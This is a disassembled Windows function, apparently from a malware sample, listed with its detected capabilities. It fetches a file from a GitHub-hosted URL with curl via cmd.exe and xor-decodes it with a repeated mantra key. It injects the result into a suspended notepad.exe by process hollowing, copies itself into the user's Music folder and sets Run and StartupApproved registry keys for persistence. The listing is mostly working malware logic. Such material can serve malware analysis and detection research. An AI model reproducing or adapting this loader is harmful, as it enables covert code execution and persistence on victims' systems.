Function at 0x1400010d0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Encode data using xor
Get common file path
Persist via run registry key
Query environment variable
Resume thread
Set registry value
Use process replacement

Disassembly:
push rbp
push rsi
push r13
lea rbp, [rsp - 0xb90]
sub rsp, 0xc90
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0xb70], rax
mov r13, rdx
mov ecx, 0x104
lea rdx, [rbp + 0x840]
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea r9, str.https:__github.com_microsoft_vscode_files_15363287_silk.txt
lea r8, [rbp + 0x840]
lea rdx, str.cmd.exe__c_cd__s__curl__s__L__s__o_ecode.txt
lea rcx, [rbp + 0x6c0]
call fcn.140001070
xorps xmm0, xmm0
mov dword [rbp + 0x480], 0x68
xor eax, eax
lea rdx, [rbp + 0x6c0]
mov dword [rbp + 0x4e4], eax
xor esi, esi
mov qword [rbp - 0x78], rax
xor r9d, r9d
lea rax, [rsp + 0x78]
xor r8d, r8d
mov qword [rsp + 0x48], rax
xor ecx, ecx
lea rax, [rbp + 0x480]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], esi
movups xmmword [rbp + 0x484], xmm0
movups xmmword [rbp + 0x494], xmm0
movups xmmword [rbp + 0x4a4], xmm0
movups xmmword [rbp + 0x4b4], xmm0
movups xmmword [rbp + 0x4c4], xmm0
movups xmmword [rbp + 0x4d4], xmm0
movups xmmword [rsp + 0x78], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x1400011d6
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.CreateProcess_failed___d_._n
call fcn.140001010
lea eax, [rsi + 1]
jmp 0x14000195c
mov rcx, qword [rsp + 0x78]
mov edx, 0xffffffff
mov qword [rsp + 0xc88], r14
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
nop word [rax + rax]
movzx eax, byte [rbp + rcx + 0x840]
mov byte [rbp + rcx + 0x730], al
lea rcx, [rcx + 1]
test al, al
jne 0x140001210
lea rcx, [rbp + 0x730]
dec rcx
cmp byte [rcx + 1], sil
lea rcx, [rcx + 1]
jne 0x140001231
movsd xmm0, qword [str.ecode.txt]
movzx eax, word [0x1400033c8]
movsd qword [rcx], xmm0
mov word [rcx + 8], ax
lea rcx, [rbp + 0x730]
dec rcx
nop dword [rax]
cmp byte [rcx + 1], sil
lea rcx, [rcx + 1]
jne 0x140001260
movzx eax, byte [0x1400033ca]
lea rdx, [0x1400033cc]
mov byte [rcx], al
lea rcx, [rbp + 0x730]
mov qword [rsp + 0xcc0], rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov r14, rax
test rax, rax
jne 0x1400012dc
lea rcx, str.___Probably_an_unfigurable_bug__opening_file_again_n
call fcn.140001010
lea rdx, [0x1400033cc]
lea rcx, [rbp + 0x730]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov r14, rax
test rax, rax
jne 0x1400012dc
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_to_Open_File_____d_n
call fcn.140001010
lea rax, [r14 - 1]
jmp 0x14000194c
xor edx, edx
mov qword [rsp + 0xcb0], rbx
mov qword [rsp + 0xcc8], r12
mov rcx, r14
mov qword [rsp + 0xc80], r15
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov rcx, r14
movsxd rbx, eax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_rewind]
mov rcx, rbx
mov r15, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, 0xffffffffffffffff
mov r12, rax
test ebx, ebx
jle 0x140001403
mov rbx, rsi
nop dword [rax]
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgetc]
mov byte [rbx + r12], al
inc rbx
cmp rbx, r15
jl 0x140001340
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
movaps xmm0, xmmword [str.HareKrishnaHareKrishnaKrishnaKrishnaHareHareHareRamHareRamRamRamHareHare]
mov rcx, rdi
movaps xmm1, xmmword [0x140003440]
movzx eax, byte [0x140003478]
movaps xmmword [rbp + 0x560], xmm0
movaps xmm0, xmmword [0x140003450]
movaps xmmword [rbp + 0x580], xmm0
movsd xmm0, qword [0x140003470]
movaps xmmword [rbp + 0x570], xmm1
movaps xmm1, xmmword [0x140003460]
mov byte [rbp + 0x5a8], al
lea rax, [rbp + 0x560]
movsd qword [rbp + 0x5a0], xmm0
movaps xmmword [rbp + 0x590], xmm1
nop dword [rax]
inc rcx
cmp byte [rax + rcx], sil
jne 0x1400013c0
mov r8, r12
mov r10, r15
mov r9d, esi
nop dword [rax]
nop word [rax + rax]
movsxd rax, r9d
lea r8, [r8 + 1]
xor edx, edx
inc r9d
div rcx
movzx eax, byte [rbp + rdx + 0x560]
xor byte [r8 - 1], al
sub r10, 1
jne 0x1400013e0
jmp 0x14000140c
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xorps xmm0, xmm0
mov dword [rbp + 0x4f0], 0x68
xor eax, eax
lea rcx, [rbp - 0x60]
xor edx, edx
mov dword [rbp + 0x554], eax
mov r8d, 0x4d0
mov qword [rsp + 0x70], rax
movups xmmword [rbp + 0x4f4], xmm0
movups xmmword [rbp + 0x504], xmm0
movups xmmword [rbp + 0x514], xmm0
movups xmmword [rbp + 0x524], xmm0
movups xmmword [rbp + 0x534], xmm0
movups xmmword [rbp + 0x544], xmm0
movups xmmword [rsp + 0x60], xmm0
call sub.VCRUNTIME140.dll_memset
lea rax, [rsp + 0x60]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rdx, str.notepad.exe
lea rax, [rbp + 0x4f0]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor ecx, ecx
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x1400014c6
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Creation_of_process_failed____Error_Code:__d
call fcn.140001010
mov eax, edi
jmp 0x140001934
mov rcx, qword [rsp + 0x68]
lea rdx, [rbp - 0x60]
mov dword [rbp - 0x30], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x1400014fb
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_to_get_context_of_the_created_process____Error_Code:__d
call fcn.140001010
mov eax, edi
jmp 0x140001934
mov rdx, qword [rbp + 0x28]
lea r8, [rbp - 0x70]
mov rcx, qword [rsp + 0x60]
add rdx, 0x10
mov r9d, 8
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rcx, qword [rsp + 0x60]
mov r9d, 0x3000
mov r8, r15
mov dword [rsp + 0x20], 0x40
xor edx, edx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
test rax, rax
jne 0x14000155e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Memory_allocation_failed____Error_Code:__d
call fcn.140001010
mov eax, edi
jmp 0x140001934
mov rcx, qword [rsp + 0x60]
mov r9, r15
mov r8, r12
mov qword [rsp + 0x20], rsi
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140001596
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_to_write_process_memory____Error_Code:__d
call fcn.140001010
mov eax, edi
jmp 0x140001934
mov rcx, qword [rsp + 0x60]
lea rax, [rbp + 0x474]
mov r9d, 0x20
mov qword [rsp + 0x20], rax
mov r8, r15
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x1400015d8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Error_in_VirtualProtectEx____Error_Code:__d
call fcn.140001010
mov eax, edi
jmp 0x140001934
mov rcx, qword [rsp + 0x68]
lea rdx, [rbp - 0x60]
mov qword [rbp + 0x98], rbx
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x14000160d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Error_setting_context____Error_Code:__d
call fcn.140001010
mov eax, edi
jmp 0x140001934
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
jne 0x140001638
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Error_resuming_the_process____Error_Code:__d
call fcn.140001010
mov eax, edi
jmp 0x140001934
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.___Hollow_injection_complete____n
call fcn.140001010
lea rdx, [rbp + 0xa60]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea rcx, str.USERPROFILE
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
lea rdx, [rbp + 0x950]
sub rdx, rax
nop dword [rax]
nop word [rax + rax]
movzx ecx, byte [rax]
mov byte [rdx + rax], cl
lea rax, [rax + 1]
test cl, cl
jne 0x140001690
lea rcx, [rbp + 0x950]
dec rcx
nop dword [rax + rax]
cmp byte [rcx + 1], sil
lea rcx, [rcx + 1]
jne 0x1400016b0
mov eax, dword [str.Music]
mov dword [rcx], eax
movzx eax, word [0x140003650]
mov word [rcx + 4], ax
movzx eax, byte [0x140003652]
mov byte [rcx + 6], al
mov rcx, rsi
nop word [rax + rax]
movzx eax, byte [rbp + rcx + 0x950]
mov byte [rbp + rcx + 0x5b0], al
lea rcx, [rcx + 1]
test al, al
jne 0x1400016e0
lea r9, [rbp + 0x5b0]
dec r9
cmp byte [r9 + 1], sil
lea r9, [r9 + 1]
jne 0x140001701
movsd xmm0, qword [str.hollow.exe]
lea rdx, [0x1400033cc]
mov eax, dword [0x140003660]
lea rcx, [rbp + 0x5b0]
movsd qword [r9], xmm0
mov dword [r9 + 8], eax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
test rax, rax
jne 0x140001932
mov rcx, qword [r13]
lea rdx, [0x1400033cc]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
xor edx, edx
mov rcx, rax
mov r12, rax
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov rcx, r12
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov rcx, r12
movsxd rbx, eax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_rewind]
mov rcx, rbx
mov r14, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r15, rax
test ebx, ebx
jle 0x1400017e8
mov rbx, rsi
nop dword [rax]
mov rcx, r12
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgetc]
mov byte [rbx + r15], al
inc rbx
cmp rbx, r14
jl 0x140001790
mov rcx, r12
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
lea rdx, [0x140003664]
lea rcx, [rbp + 0x5b0]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rbx, rax
nop word [rax + rax]
movsx ecx, byte [rsi + r15]
mov rdx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
inc rsi
cmp rsi, r14
jl 0x1400017d0
jmp 0x140001805
mov rcx, r12
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
lea rdx, [0x140003664]
lea rcx, [rbp + 0x5b0]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
lea rax, [rsp + 0x58]
mov r9d, 0x20006
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140001893
lea rax, [rbp + 0x5b0]
inc rdi
cmp byte [rax + rdi], 0
jne 0x140001837
mov rcx, qword [rsp + 0x58]
lea rax, [rbp + 0x5b0]
inc edi
lea rdx, str.MyPersistentProgram
mov dword [rsp + 0x28], edi
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
lea rdx, str.Failed_to_set_Run_key_value._n
lea rcx, str.Successfully_added_to_Run_key._n
cmovne rcx, rdx
call fcn.140001010
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x14000189f
lea rcx, str.Failed_to_open_Run_key._n
call fcn.140001010
lea rax, [rsp + 0x58]
mov r9d, 0x20006
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionExplorerStartupApprovedRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140001926
mov rcx, qword [rsp + 0x58]
lea rax, [rbp + 0x470]
mov dword [rsp + 0x28], 1
lea rdx, str.MyPersistentProgram
mov r9d, 3
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov byte [rbp + 0x470], 2
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
lea rdx, str.Failed_to_set_StartupApproved_key_value._n
lea rcx, str.Successfully_added_to_StartupApproved_key._n
cmovne rcx, rdx
call fcn.140001010
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x140001932
lea rcx, str.Failed_to_open_StartupApproved_key._n
call fcn.140001010
xor eax, eax
mov rbx, qword [rsp + 0xcb0]
mov r12, qword [rsp + 0xcc8]
mov r15, qword [rsp + 0xc80]
mov rdi, qword [rsp + 0xcc0]
mov r14, qword [rsp + 0xc88]
mov rcx, qword [rbp + 0xb70]
xor rcx, rsp
call fcn.140001990
add rsp, 0xc90
pop r13
pop rsi
pop rbp
ret